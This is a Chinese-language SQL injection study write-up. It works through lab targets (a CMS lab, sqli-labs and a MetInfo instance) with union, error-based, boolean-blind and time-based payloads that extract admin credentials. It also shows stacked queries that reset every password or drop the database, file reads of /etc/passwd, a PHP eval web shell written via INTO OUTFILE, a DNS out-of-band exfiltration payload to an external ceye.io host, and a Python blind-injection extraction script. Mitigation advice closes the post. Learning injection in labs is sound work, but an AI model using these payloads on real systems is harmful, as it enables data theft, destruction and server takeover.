前提概要
本文章主要用于分享SQL注入基础学习分享,以下是对SQL注入的一些个人解析,请大家结合参考其他文章中的相关信息进行归纳和补充。
SQL注入描述
SQL 注入(SQL Injection)是一种常见的网络攻击技术,攻击者通过在应用程序的输入字段中插入恶意的 SQL 代码,从而改变原本的 SQL 查询语句的逻辑,以达到非法访问、修改或删除数据库中数据的目的。这种攻击利用了应用程序对用户输入数据处理不当的漏洞,尤其是在将用户输入直接拼接到 SQL 查询语句中而没有进行充分的验证和过滤时。
SQL注入漏洞场景
场景描述
在 Web 应用的登录页面,用户输入用户名和密码,应用程序将这些信息与数据库中的记录进行比对以验证身份。若应用程序在处理输入时直接将用户输入拼接到 SQL 查询语句中,就可能存在 SQL 注入风险。
示例代码:
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $sql);
if (mysqli_num_rows($result) > 0) {
echo "登录成功";
} else {
echo "登录失败";
}
?>
//关于mysqli_query() 函数在后面有使用方法及详细解释
SQL注入原理
基本原理:
SQL 注入漏洞的核心在于应用程序没有对用户输入的数据进行严格的验证和过滤,直接将用户输入的数据拼接到 SQL 查询语句中。这使得攻击者可以通过构造特殊的输入,改变原 SQL 查询语句的语义和逻辑,从而执行非预期的数据库操作。
Web应用程序通常会将用户输入的数据直接或间接用于构造数据库查询语句。如果应用程序没有对用户输入进行严格的验证和过滤,攻击者就可以通过构造特殊的输入来修改查询语句的逻辑。
例如,一个原本用于查询用户信息的SQL语句“SELECT * FROM users WHERE username = '用户输入'”,如果攻击者将“用户输入”替换为 “ ' OR '1'='1 ”,则SQL语句将变成“SELECT * FROM users WHERE username = '' OR '1'='1' ”,这将导致数据库返回所有用户的信息,而非仅指定用户的信息。
数据库执行恶意代码:
数据库服务器在接收到包含恶意代码的SQL语句后,会尝试执行这些代码。
如果数据库用户具有足够的权限,那么攻击者就可以通过执行恶意的SQL代码来获取数据库中的敏感信息、篡改数据、执行系统命令等。注:这里的举例看不懂没关系,后面我会具体演示
SQL注入漏洞风险评级
SQL 注入风险评级通常会综合考虑多个因素,如漏洞利用的难易程度、可能造成的影响范围和严重程度等。以下是一种常见的基于 OWASP(Open Web Application Security Project)等安全组织理念的风险评级方式:
高风险:
特征
- 易于利用:攻击者不需要复杂的操作和特殊的环境,只需通过简单的输入(如在网页表单、URL 参数等位置)就能触发注入漏洞。
- 造成严重影响:可能导致大量敏感数据泄露,如用户的个人身份信息(姓名、身份证号、联系方式等)、财务信息(银行卡号、账户余额等);或者可以对数据库进行无限制的修改和删除操作,破坏数据库的完整性和可用性,导致业务系统瘫痪。
中风险:
特征
- 利用有一定难度:可能需要攻击者具备一定的技术知识和技巧,或者需要满足特定的条件才能成功利用漏洞。例如,需要了解数据库的一些结构信息(表名、字段名等),或者需要绕过一些简单的输入过滤机制。
- 造成一定影响:可能会泄露部分敏感信息,但影响范围相对较小;或者可以对部分数据进行修改,但不会对整个系统造成毁灭性的破坏。
低风险:
特征
- 利用难度较大:需要攻击者花费大量的时间和精力进行研究和尝试,可能需要结合多种攻击手段,或者需要突破多个安全防护机制才能成功利用漏洞。
- 影响较小:即使漏洞被利用,造成的影响也相对有限,可能只是泄露一些非敏感信息,或者对系统的正常运行产生轻微的干扰。
SQL注入漏洞的危害
一、数据泄露(查)
敏感信息泄露:攻击者可以通过构造恶意的SQL查询语句,直接获取数据库中的敏感信息,如用户密码、个人信息、业务数据等。这些信息一旦被泄露,可能对个人隐私和企业安全造成巨大威胁。
二、数据篡改(增删改)
数据完整性受损:攻击者可以插⼊内容到数据库或修改数据库中的数据,导致数据不一致,对业务流程和决策产生负面影响。例如,攻击者可以篡改用户账户余额、订单状态等关键数据,影响企业的正常运营。
三、读写文件如果数据库权限分配存在问题,攻击者可以利用SQL 注⼊漏洞直接获取网站后门
四、系统控制权丧失
完全控制数据库服务器:若数据库本⾝存在缺陷,可以获取服务器权限,攻击者可以通过执行多个SQL语句,利用漏洞获取操作系统的命令执行权限,从而完全控制受攻击的服务器。一旦攻击者掌握了系统的控制权,他们可以执行任意代码、上传恶意软件、窃取更多敏感信息等。
五、其他危害
1.网页篡改:攻击者可以通过操作数据库对特定网页进行篡改,发布虚假信息或植入恶意代码,进一步危害用户安全。
2.网站被挂马:攻击者可以修改数据库中的某些字段值,嵌入网马链接,进行挂马攻击。当用户访问被挂马的网页时,他们的计算机可能会被感染恶意软件。
3.破坏硬盘数据:在某些情况下,SQL注入攻击还可能破坏硬盘数据,导致整个系统瘫痪。
SQL注入漏洞形式
SQL注入的主要形式包括但不限于以下几种:
一、
直接注入:
攻击者直接将恶意的SQL代码插入到Web表单递交或输入域名或页面请求的查询字符串中。
间接注入:
攻击者将恶意代码注入到要在表中存储或作为元数据存储的字符串中,当这些字符串被拼接到SQL查询语句中时,恶意代码将被执行。
二、数据类型
数字型注入:
参数为整形(如ID、年龄等)时,如应用程序未进行严格过滤,即可通过构造恶意数字型输入来执行SQL注入攻击。
#假设有一个Web应用程序的URL中包含了一个ID参数,用于查询特定用户的信息 SELECT * FROM users WHERE id = $id
字符型注入:
参数为字符串时,由于字符串在SQL语句中通常需要用单引号或双引号闭合,因此攻击者可以通过构造包含闭合引号和恶意SQL代码的字符串来执行SQL注入攻击。
#假设有一个Web应用程序的登录表单,要求用户输入用户名和密码,正常的SQL查询语句可能如下: SELECT * FROM users WHERE username = '$username' AND password = '$password'
三、注入方式
- 联合注入
- 报错注入
- 延时注⼊
- 堆叠查询
- 布尔盲注
- 宽字节盲注
- cookie盲注等
四、提交参数方式:
- GET 注⼊
- POST 注⼊
- Cookie 注⼊
- HTTP 头部注⼊
- ...
五、注入点位置:
- URL 注⼊
- 搜索框注⼊
- 留⾔板注⼊
- 登录框注⼊
- ...
SQL注入漏洞验证
基于错误信息的验证
- 原理:当输入恶意的 SQL 语句导致数据库执行出错时,数据库可能会返回详细的错误信息,这些信息可以帮助我们判断是否存在 SQL 注入漏洞。
- 操作步骤
在输入框(如登录表单的用户名、密码输入框,搜索框等)中输入单引号
'
。观察页面的响应。如果页面返回数据库的错误信息,如 “SQL syntax error” 等,那么很可能存在 SQL 注入漏洞。例如,原本的 SQL 查询语句是:
SELECT * FROM users WHERE username = '$input';
当输入 ' 后,查询语句变为:
SELECT * FROM users WHERE username = '';
这会导致语法错误,数据库可能会返回错误信息。
注:你是不是也觉得
SELECT * FROM users WHERE username = '';这是一个正常的MySQL语法格式没有任何问题,我也这样认为,我认为语法应该是
SELECT * FROM users WHERE username = ''';
但是AI就是这样回答我的,我也很难找到正确答案,如果你有更标准的解释和答案的话欢迎留言或者私信,让我们共同进步
注⼊点判断:
-1、+1:是否能够回显上⼀个或者下⼀个⻚⾯。数据库内容是否会回显在⽹⻚中。
' 或 ":是否显⽰数据库错误信息。根据回显内容可以初步判断是字符型数据还是数字型。
and 1=1、and 1=2:回显的⻚⾯是否不同。是否布尔类型的状态。
and sleep(5) :判断⻚⾯的返回时间
关注点:是否回显:数据库中的内容是否会回显在⽹⻚中。 -->联合注入
是否报错:数据库报错信息是否会回显在⽹⻚中,判断:
* 提交的数据是字符型还是数字型。 -->报错注入
* 如果是字符型数据,闭合⽅式是什么。是否布尔类型状态:显⽰的⻚⾯不同(正常和不正常),形成对⽐。 -->布尔注入
是否延时:让数据库沉睡相应的秒数。 -->延时注入
SQL注入漏洞利用
靶场训练四大基本手法获取 cms 网站后台管理员帐密:
联合查询:利用SQL联合查询语句获取数据库敏感信息
报错注入:利用报错信息获取数据库敏感信息
布尔盲注:and后面的条件成立页面响应则正确,不响应则不正确
延时注入:页面缓存加载则正确,直接响应或报错则错误
联合查询获取 cms 网站后台管理员帐密 :
尝试通过修改url的GET传参内容是否可以切换页面
存在联合注入,尝试获取表的列数
最后测得,共有15列
尝试测试显示位,把select 语句(?id=34 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15)的查询条件置为假。
这是尝试让原始查询条件不成立。如
1=2
永远为假,这样原始查询就不会返回任何结果。这是为了确保UNION
之后的查询成为实际执行的查询
获取数据库名,因为显示位为第三列和第十一列,所以通过这两个位置尝试获取数据库信息
由database()取到,数据库名为cms
尝试获取表名
count(*)
是一个聚合函数,用于计算information_schema.tables
表中的行数。
information_schema
是 MySQL 中的一个系统数据库,包含了关于所有其他数据库的元数据
WHERE
子句限制了查询结果,只返回当前数据库的表信息。?id=32 and 1=2 union select 1,2,hex(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()
hex(table_name)
函数用于将表名转换为十六进制表示形式,是为了绕过某些对纯文本表名的过滤或检测机制查询出一个表的十六进制表示形式
解码后得出表名
?id=34 and 1=2 union select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()
GROUP_CONCAT()
函数:用于连接多个行中的多个值到一个字符串中,行之间用逗号或者指定的分隔符隔开。解码结果为:cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users
因为要获取账密,猜测用表cms_users
获取cms_users表的所有列名
and 1=2 union select 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users' #where table_schema=database() and table_name='cms_users':从cms库中cms_users表中获取列名, #group_concat(column_name) 函数用于将 information_schema.columns 表中 column_name 列的所有值(即 cms_users 表的所有列名)连接成一个单一的字符串。 #group_concat(column_name) 函数用于将所有值连接成一个单一的字符串 #hex()将这个字符串转换为十六进制表示。
解码后为:userid,username,password
获取数据(帐密)
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15 from cms_users limit 0,1 #concat(username,0x3a,password) 函数用于将 username 和 password 字段的值连接成一个单一的字符串,中间用冒号 :(0x3a 是冒号的十六进制表示)分隔。 #limit 0,1 限制了查询结果,只返回 cms_users 表的第一条记录。从第0为开始,取一条。
MD5解密后为:admin:123456
报错注入获取 cms 网站后台管理员帐密 :
输入' 可以看到数据库报错响应,有报错就可以尝试报错注入
获取数据库名,group by报错注入,存在一定随机性,有时会注入失败,可多次尝试
?id=33 and (select 1 from (select count(*),concat(0x5e,(select database()),0x5e,floor(rand()*2))x from information_schema.tables group by x)a) #(select database()):这是一个子查询,用于获取当前数据库的名称。 #select count(*):用于统计每个分组中的记录数量。 #concat 是字符串拼接函数。 #0x5e 是十六进制表示的字符 ^。 #floor(rand()*2):rand() 函数会生成一个 0 到 1 之间的随机小数,乘以 2 后再使用 floor 函数取整,结果会是 0 或 1。 #x 是这个拼接结果的别名。 #select 1:通常在 SQL 中,select 1 是一种占位查询,用于返回一个固定值 1。 #(...)a:将内层子查询的结果作为一个临时表,别名为 a。
extractvalue()、updatexml()报错方式注入,获取数据库名
?id=33 and extractvalue(1,concat(0x5e,(select database()),0x5e)) ?id=33 and updatexml(1,concat(0x5e,(select database()),0x5e),1)#updatexml报错注入方式
获取表名,能看到响应,解码后结果为cms_article,cms,显然显示位数不足够显示所有内容
?id=33 and extractvalue(1,concat(0x5e,(select hex(group_concat(table_name)) from information_schema.tables where table_schema=database()),0x5e)) extractvalue(1,concat(0x5e,(select substr(password,1,16) from cms_users),0x5e)) ?id=33 and extractvalue(1,concat(0x5e,(select substr(hex(group_concat(table_name)),1,16) from information_schema.tables where table_schema=database()),0x5e))
因此通过分段获取,取得全部编码
?id=33 and extractvalue(1,concat(0x5e,(select substr(hex(group_concat(table_name)),1,16) from information_schema.tables where table_schema=database()),0x5e)) #结果为636D735F61727469 ?id=33 and extractvalue(1,concat(0x5e,(select substr(hex(group_concat(table_name)),17,16) from information_schema.tables where table_schema=database()),0x5e)) #结果为636C652C636D735F ?id=33 and extractvalue(1,concat(0x5e,(select substr(hex(group_concat(table_name)),33,16) from information_schema.tables where table_schema=database()),0x5e)) #结果为63617465676F7279 ?id=33 and extractvalue(1,concat(0x5e,(select substr(hex(group_concat(table_name)),49,16) from information_schema.tables where table_schema=database()),0x5e)) #结果为2C636D735F66696C ?id=33 and extractvalue(1,concat(0x5e,(select substr(hex(group_concat(table_name)),65,16) from information_schema.tables where table_schema=database()),0x5e)) #结果为652C636D735F6672 ?id=33 and extractvalue(1,concat(0x5e,(select substr(hex(group_concat(table_name)),81,16) from information_schema.tables where table_schema=database()),0x5e)) #结果为69656E646C696E6B ?id=33 and extractvalue(1,concat(0x5e,(select substr(hex(group_concat(table_name)),97,16) from information_schema.tables where table_schema=database()),0x5e)) #结果为2C636D735F6D6573 ?id=33 and extractvalue(1,concat(0x5e,(select substr(hex(group_concat(table_name)),113,16) from information_schema.tables where table_schema=database()),0x5e)) #结果为736167652C636D73 ?id=33 and extractvalue(1,concat(0x5e,(select substr(hex(group_concat(table_name)),129,16) from information_schema.tables where table_schema=database()),0x5e)) #结果为5F6E6F746963652C ?id=33 and extractvalue(1,concat(0x5e,(select substr(hex(group_concat(table_name)),145,16) from information_schema.tables where table_schema=database()),0x5e)) #结果为636D735F70616765 ?id=33 and extractvalue(1,concat(0x5e,(select substr(hex(group_concat(table_name)),161,16) from information_schema.tables where table_schema=database()),0x5e)) #结果为2C636D735F757365 ?id=33 and extractvalue(1,concat(0x5e,(select substr(hex(group_concat(table_name)),177,16) from information_schema.tables where table_schema=database()),0x5e)) #结果为7273 ?id=33 and extractvalue(1,concat(0x5e,(select substr(hex(group_concat(table_name)),193,16) from information_schema.tables where table_schema=database()),0x5e)) #结果为空,说明获取完成 #将所有编码连接得:636D735F61727469636C652C636D735F63617465676F72792C636D735F66696C652C636D735F667269656E646C696E6B2C636D735F6D6573736167652C636D735F6E6F746963652C636D735F706167652C636D735F7573657273 #解码结果为cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users
获取列名,通过表名可知需要对cms_users表进行下一步操作
?id=33 and extractvalue(1,concat(0x5e,(select substr(hex(group_concat(column_name)),1,16) from information_schema.columns where table_schema=database() and table_name='cms_users'),0x5e)) #结果为7573657269642C75 ?id=33 and extractvalue(1,concat(0x5e,(select substr(hex(group_concat(column_name)),17,16) from information_schema.columns where table_schema=database() and table_name='cms_users'),0x5e)) #结果为7365726E616D652C ?id=33 and extractvalue(1,concat(0x5e,(select substr(hex(group_concat(column_name)),33,16) from information_schema.columns where table_schema=database() and table_name='cms_users'),0x5e)) #结果为70617373776F7264 #拼接为:7573657269642c757365726e616d652c70617373776f7264 #最后结果为:userid,username,password
获取账密,extractvalue报错注入,查询密码时只能出现31位少一位(MD5编码为32位)
因此通过substr函数,分别显示1-16位和17-32位
?id=33 and extractvalue(1,concat(0x5e,(select substr(password,1,16) from cms_users),0x5e)) ?id=33 and updatexml(1,concat(0x5e,(select substr(password,1,16) from cms_users),0x5e),1) #结果为e10adc3949ba59ab ?id=33 and extractvalue(1,concat(0x5e,(select substr(password,17,16) from cms_users),0x5e)) ?id=33 and updatexml(1,concat(0x5e,(select substr(password,17,16) from cms_users),0x5e),1) #结果为be56e057f20f883e #拼接为:e10adc3949ba59abbe56e057f20f883e #MD5解码为:123456
布尔盲注获取 cms 网站后台管理员帐密
测试是否存在bool盲注
通过页面是否正常响应可以看出存在bool漏洞
获取数据库名,用length判断长度,得出结果为数据库长度为3
?id=33 and length(database())=3
通过ASCII码按位测试数据库名
?id=33 and ascii(substr(database(),1,1))=99 ?id=33 and ascii(substr(database(),2,1))=109 ?id=33 and ascii(substr(database(),3,1))=115
ASCII码中99为c,以此类推可以测出数据库名为cms
获取表名
?id=33' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema = 'cms') > 0 --+ CY #通过判断得出
延时注入获取 cms 网站后台管理员帐密
用sleep()函数测试是否存在延时注入漏洞
此处显示,会加载大概五秒左右,说明可能存在延时注入漏洞
通过延时注入漏洞测试数据库名长度
最后长度等于3
通过延时注入漏洞判断数据库名第一个字母的ASCII码值是多少
通过它有延时状态,说明第一个字母的ASCII码值为99
SQL注入漏洞修复
SQL注入典型案例
- 案例描述:2023 年底,ResumeLooters 黑客团伙利用 SQL 注入攻击战术,通过在招聘网站上创建虚假的雇主简介和简历以注入 XSS 脚本,收集管理凭据,非法闯入了多个国家的近百个网站系统,包括流行的互联网招聘平台和电子商务网站。
- 影响:此次攻击影响范围广,印度、泰国、越南等国家以及中国的多个网站受影响,攻击者累计窃取了超过 200 万个电子邮件地址及用户个人隐私信息,这些信息可能被用于身份盗窃、网络钓鱼活动或社会工程攻击等。
- 防范措施:使用参数化查询,设置适当的错误处理机制,定期开展 IT 系统安全审计,部署 Web 应用防火墙,净化输入,更新和修补数据库软件,打造强大的组织安全文化。
小结
为了防范SQL注入攻击的危害,企业和开发者应采取以下措施:
使用参数化查询:通过预编译的SQL语句和参数绑定来执行查询,防止恶意输入被解释为SQL代码。
输入验证和过滤:对用户输入进行严格的验证和过滤,确保输入数据符合预期的格式和类型。
最小化权限:确保数据库用户的权限被限制在最小化的范围内,以防止攻击者利用SQL注入获取敏感信息或执行危险操作。
日志记录和监控:记录和监控应用程序的日志,及时发现和处理潜在的SQL注入攻击行为。
安全升级和补丁:及时升级和应用数据库及应用程序的安全补丁,以修复已知的SQL注入漏洞。
select database() #获取数据库名
select hex(group_concat(table_name)) from information_schema.tables where table_schema=database() #获取表名
select hex(group_concat(column_name)) from information_schema.columns where table_schema=database() and table_name='cms_users' #获取列名
select concat(username,0x3a,password) from cms_users from cms_users limit 0,1 #获取账密
未完成任务:
1.布尔、时间盲注的SQL语句
2.编写Python自动化脚本
3.sqlmap注入工具
4.其他注入类型
5.Sql-labs测试题
Sql-labs测试题:
/sqli-labs/Less-1:
/sqli-labs/Less-2:
其他注入手法测试:
- 堆叠查询 /sqli-labs/Less-38
- 读写文件 /sqli-labs/Less-1
- 宽字节注入 /sqli-labs/Less-32
- Cookie 注入/sqli-labs/Less-20
- Base64 注入/sqli-labs/Less-22
- User-Agent 注入/sqli-labs/Less-18
- Referer 注入/sqli-labs/Less-19
- 00B 带外 /sqli-labs/Less-9
1.堆叠查询: 是指在数据库操作中,将多个 SQL 查询语句组合在一起依次执行的一种方式。
与联合查询不同,联合查询是将多个查询语句的结果集合并成一个结果集。这些查询通常是针对不同表或者相同表的不同条件进行的,它强调的是结果集的合并;堆叠查询是将多个独立的 SQL 语句(不仅是查询语句)组合在一起,通过特定分隔符连接(如分号
;
),然后一次性发送给数据库执行,数据库会按照语句的先后顺序依次执行每个语句。每个语句之间相互独立,前一个语句的结果一般不会直接影响后一个语句的执行,只是按顺序依次完成各自的任务。场景:如需要依次创建表、插入初始数据、设置权限等。通过堆叠查询可以将这些操作组合在一起,一次性完成。
/sqli-labs/Less-38测试堆叠查询,测试内容为修改所有用户密码为123456:
准备工作:1.访问SQLi-LABS Page-2 (Adv Injections),找到第38题
2.确定数据库结构,找到账户密码存储表的位置
3.查看users表中的原始账户密码:
确定密码字段为password在security库的users表下,修改密码为123
#修所有用户改密码 ?id=1';update users set password=123 -- CY ?id=1';update users set password=123; -- CY #也可以进行删库 ?id=1';drop database security -- CY #如果删库可以回到sqli-labs页面,点击Setup/reset Database for labs,重新加载数据库
,查看数据库,密码已修改为123
2.读写文件
前提条件:
1.具有文件读写权限
查看/sqli-labs/Less-1题目中的用户,是root用户,且权限条件为Y,已满足
2.读写文件时需要知道文件的绝对路径
3.文件读写的安全选项secure_file_priv,具有三个值:
1.secure_file_priv=NULL:限制mysqld不允许导入导出
2.secure_file_priv='c:/a/':限制 mysqld 导⼊导出操作在某个固定⽬录下
并且⼦⽬录有效
3.secure_file_priv= :不限制 mysqld 的导⼊导出操作
查看数据库安全选项secure_file_priv,值为空,满足条件
show global variables like '%secure_file_priv%'; show global variables; #查看MySQL数据库所有选项
通过绝对路径读取Windows下的文件
?id=1' and 1=2 union select 1,load_file('c:\\windows\\system32\\drivers\\etc\\hosts'),3 -- CY ?id=1' and 1=2 union select 1,load_file('c:/windows/system32/drivers/etc/hosts'),3 -- CY ?id=1' and 1=2 union select 1,load_file('/etc/passwd'),3 -- CY #Linux路径
写入一个后门文件
?id=1' and 1=2 union select 1,2,"<?php @eval($_REQUEST[777]);phpinfo()?>" into outfile "c:/phpstudy/WWW/1.php" -- CY #Windows路径 ?id=1' and 1=2 union select 1,2,"<?php @eval($_REQUEST[777]);phpinfo()?>" into outfile "/var/www/html/1.php" -- CY #Linux路径
3.宽字节注入 :准确来说并不是一种注入手法,目的是绕过转义
/sqli-labs/Less-32,此处32与2的关系为,2的ASCII码为50,转换为16进制为0x32
添加单引号测试是否存在SQL注入漏洞,发现此处2'变成了2\',说明系统将'转义了
查看第32题的过滤代码,发现漏洞,编码格式为GBK,因为GBK编码范围为8140-FEFE,上图可以看到转义字符\的编码为5c在GBK 编码的低位范围[40,FE]之内,因此当我们输入一个在[81,FE]之间的数时就会和5c变成一个汉字,
function check_addslashes($string) { $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); $string = preg_replace('/\'/i', '\\\'', $string); #将'转义 $string = preg_replace('/\"/', "\\\"", $string); #将"转义 return $string; } $id=check_addslashes($_GET['id']); mysql_query("SET NAMES gbk"); //将与数据库连接的编码设置为 GBK $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql);
如%CC5C:説
?id=2%cc' and 1=2 union select 1,database(),version() -- CY
4.Cookie 注入:注入点在 Cookie 数据中,以 /sqli-labs/Less-20 为例
需要用到工具burpsuite,注入的数据在请求头中
首先需要登录一下,在前面我们知道其中有一个用户的账密为Dumb:Dumb
打开burpsuite,找到有cookie注入点的正确的包
在Repeater中写入SQL注入语句到Cookie中,通过render工具查看页面状态
' and 1=2 union select 1,version(),database() -- CY ' and 1=2 union select 1,version(),database()# #两种形式都可以
5.Base64 注入:注⼊的参数需要进⾏ base64 编码
以 /sqli-labs/Less-22 为例
同样先登录一下,账密为Dumb:Dumb,抓登录成功带有正确cookie的包发送到Repeater模块
最后得uname=Dumb,可知此处SQL注入语句需要二次加密
uname=Dumb" and 1=2 union select 1,version(),database() -- CY #base64加密为 RHVtYiIgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSx2ZXJzaW9uKCksZGF0YWJhc2UoKSAtLSBDWQ== #url二次加密为 %52%48%56%74%59%69%49%67%59%57%35%6b%49%44%45%39%4d%69%42%31%62%6d%6c%76%62%69%42%7a%5a%57%78%6c%59%33%51%67%4d%53%78%32%5a%58%4a%7a%61%57%39%75%4b%43%6b%73%5a%47%46%30%59%57%4a%68%63%32%55%6f%4b%53%41%74%4c%53%42%44%57%51%3d%3d
6.User-Agent 注入:
以 /sqli-labs/Less-18 为例
准备步骤同上,登录后效果为
7.Referer 注入:
以/sqli-labs/Less-19为例
' and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1
8.OOB(Out of Band) 带外:
用于在传统的 SQL 注入无法通过应用程序响应获取数据的场景,也就是无回显的 SQL 注入情况。它利用数据库与外部服务器进行通信的能力,通过其他渠道把数据库中的数据传输出来。
以 /sqli-labs/Less-9为例:
?id=1' and 1=2 union select 1,load_file(concat("\\\\",(select database()),".vjrfyc.ceye.io\\ajest")),3 -- CY #1 和 3:这是为了保证 UNION SELECT 语句的列数与原查询的列数匹配。它们只是占位符,不具有实际的数据获取意义。 #load_file():这是 MySQL 数据库中的一个函数,用于读取指定文件的内容。但在这个攻击场景中,它并不是真正用于读取文件,而是利用其特性来触发 DNS 请求。
bool盲注脚本
#添加自主修改脚本中的url和shellcode的位置 #添加对指定表的指定列的读取 #添加多线程加快脚本速度 import requests import string #c_set = string.ascii_lowercase + string.digits + "_,:" # 字符集:小写字母+数字+下划线+冒号 c_set = string.printable url = 'http://10.4.7.130/MetInfo5.0.4/about/show.php' heders = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.56' } shellcode = [ "select database()", "select group_concat(table_name) from information_schema.tables where table_schema=database()", "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x6d65745f61646d696e5f636f6c756d6e", "select concat(id,0x3a,name) from 0x6d65745f61646d696e5f636f6c756d6e" ] # def get_database_len(): # global url # for i in range(1,100): # paload=f"{url}?lang=cn&id=22 and length(({shellcode[0]}))={i}" # resp = requests.get(url=paload,headers=heders) # if resp.status_code == 200: # return i # def get_database_name(): # global url # database = "" # for i in range(1,database_len+1): # for j in c_set: # paload = f"{url}?lang=cn&id=22 and ascii(substr(({shellcode[0]}),{i},1))={ord(j)}" # resp = requests.get(url=paload, headers=heders) # if resp.status_code == 200: # database+=j # break # return database # def get_table_len(): # global url # for i in range(1,1000): # paload=f"{url}?lang=cn&id=22 and length(({shellcode[1]}))={i}" #http://10.4.7.130/MetInfo5.0.4/about/show.php?lang=cn&id=22 and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>0 # resp = requests.get(url=paload,headers=heders) # if resp.status_code == 200: # return i # def get_table_name(): # global url # table = "" # for i in range(1,table_len+1): # for j in c_set: # paload = f"{url}?lang=cn&id=22 and ascii(substr(({shellcode[1]}),{i},1))={ord(j)}" #10.4.7.130/MetInfo5.0.4/about/show.php?lang=cn&id=22 and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>0 # resp = requests.get(url=paload, headers=heders) # if resp.status_code == 200: # table+=j # print(table) # break # return table # def get_column_len(): # global url # for i in range(1,10000): # paload=f"{url}?lang=cn&id=22 and length(({shellcode[2]}))={i}" #http://10.4.7.130/MetInfo5.0.4/about/show.php?lang=cn&id=22 and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='cms_users'))>0 # resp = requests.get(url=paload,headers=heders) # if resp.status_code == 200: # return i # def get_column_name(): # global url # column = "" # for i in range(1,column_len+1): # for j in c_set: # paload = f"{url}?lang=cn&id=22 and ascii(substr(({shellcode[2]}),{i},1))={ord(j)}" #10.4.7.130/MetInfo5.0.4/about/show.php?lang=cn&id=22 and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='met_admin_column'))>0 # resp = requests.get(url=paload, headers=heders) # if resp.status_code == 200: # column+=j # print(column) # break # return column def get_data_len(): global url for i in range(1,50000): paload=f"{url}?lang=cn&id=22 and length(({shellcode[3]}))={i}" resp = requests.get(url=paload,headers=heders) if resp.status_code == 200: return i def get_data(): global url data = "" for i in range(1,data_len+1): for j in c_set: paload = f"{url}?lang=cn&id=22 and ascii(substr(({shellcode[3]}),{i},1))={ord(j)}" resp = requests.get(url=paload, headers=heders) if resp.status_code == 200: data+=j break return data # database_len=get_database_len() # 获取数据库长度# # database_name=get_database_name() # 获取数据库名称 # print("数据库名为:",database_name) # 输出数据库名称 # table_len=get_table_len() # print("所有表的长度为:",table_len) # 获取表长度# # table_name=get_table_name() # 获取表名称 # print("表名为:",table_name) # 输出表名称 # column_len=get_column_len() # 获取列长度 # print("所有列名的长度:",column_len) # 输出列长度 # column_name=get_column_name() # 获取列名称 # print("列名为:",column_name) # 输出列名称 #id,name,url,bigclass,field,type,list_order data_len=get_data_len() # 获取数据长度 print(data_len) # 输出数据长度 data=get_data() # 获取数据 print("数据为:",data) # 输出数据
SQL注入漏洞相关名词
mysqli_query()
mysqli_query()
是 PHP 中用于执行 SQL 查询的一个重要函数,它属于 MySQLi(MySQL Improved)扩展,这个扩展为 PHP 操作 MySQL 数据库提供了面向对象和面向过程两种编程方式,mysqli_query()
就是面向过程方式中的核心函数之一。基本语法
mysqli_query(mysqli $link, string $query, int $resultmode = MYSQLI_STORE_RESULT): mixed
参数解释
$link
:这是必需的参数,代表由mysqli_connect()
或mysqli_init()
返回的mysqli
链接对象,用于建立与 MySQL 数据库的连接。$query
:同样是必需的,它是要执行的 SQL 查询语句,比如SELECT
、INSERT
、UPDATE
或者DELETE
等类型的语句。$resultmode
:该参数是可选的,有两个可取值。MYSQLI_STORE_RESULT
会将查询结果一次性全部存储在内存中;MYSQLI_USE_RESULT
则采用按需获取结果集的方式,逐行读取数据,适用于处理大数据集,避免内存占用过大。返回值
- 当执行的是
SELECT
、SHOW
、DESCRIBE
或者EXPLAIN
这类查询语句时,如果执行成功,mysqli_query()
会返回一个mysqli_result
对象;若执行失败,则返回false
。- 当执行的是
INSERT
、UPDATE
、DELETE
或者CREATE
这类非查询语句时,执行成功会返回true
,失败则返回false
。示例代码
以下是使用
mysqli_query()
函数执行不同类型 SQL 查询的示例:<?php // 建立数据库连接 $servername = "localhost"; $username = "your_username"; $password = "your_password"; $dbname = "your_database"; // 创建连接 $conn = mysqli_connect($servername, $username, $password, $dbname); // 检查连接是否成功 if (!$conn) { die("Connection failed: ". mysqli_connect_error()); } // 执行 SELECT 查询 $sql = "SELECT id, firstname, lastname FROM MyGuests"; $result = mysqli_query($conn, $sql); if (mysqli_num_rows($result) > 0) { // 输出数据 while($row = mysqli_fetch_assoc($result)) { echo "id: ". $row["id"]. " - Name: ". $row["firstname"]. " ". $row["lastname"]. "<br>"; } } else { echo "0 results"; } // 执行 INSERT 查询 $sql = "INSERT INTO MyGuests (firstname, lastname, email) VALUES ('John', 'Doe', 'john@example.com')"; if (mysqli_query($conn, $sql)) { echo "New record created successfully"; } else { echo "Error: ". $sql. "<br>". mysqli_error($conn); } // 关闭连接 mysqli_close($conn); ?>
注意事项
- SQL 注入风险:如果
$query
参数包含用户输入的数据,一定要对输入进行严格的验证和过滤,或者使用预处理语句(mysqli_prepare()
)来防止 SQL 注入攻击。- 资源管理:对于
SELECT
查询返回的mysqli_result
对象,在使用完后要及时释放资源,可使用mysqli_free_result()
函数。- 错误处理:在实际开发中,要对
mysqli_query()
的返回值进行检查,根据返回结果进行相应的错误处理,以保证程序的健壮性。
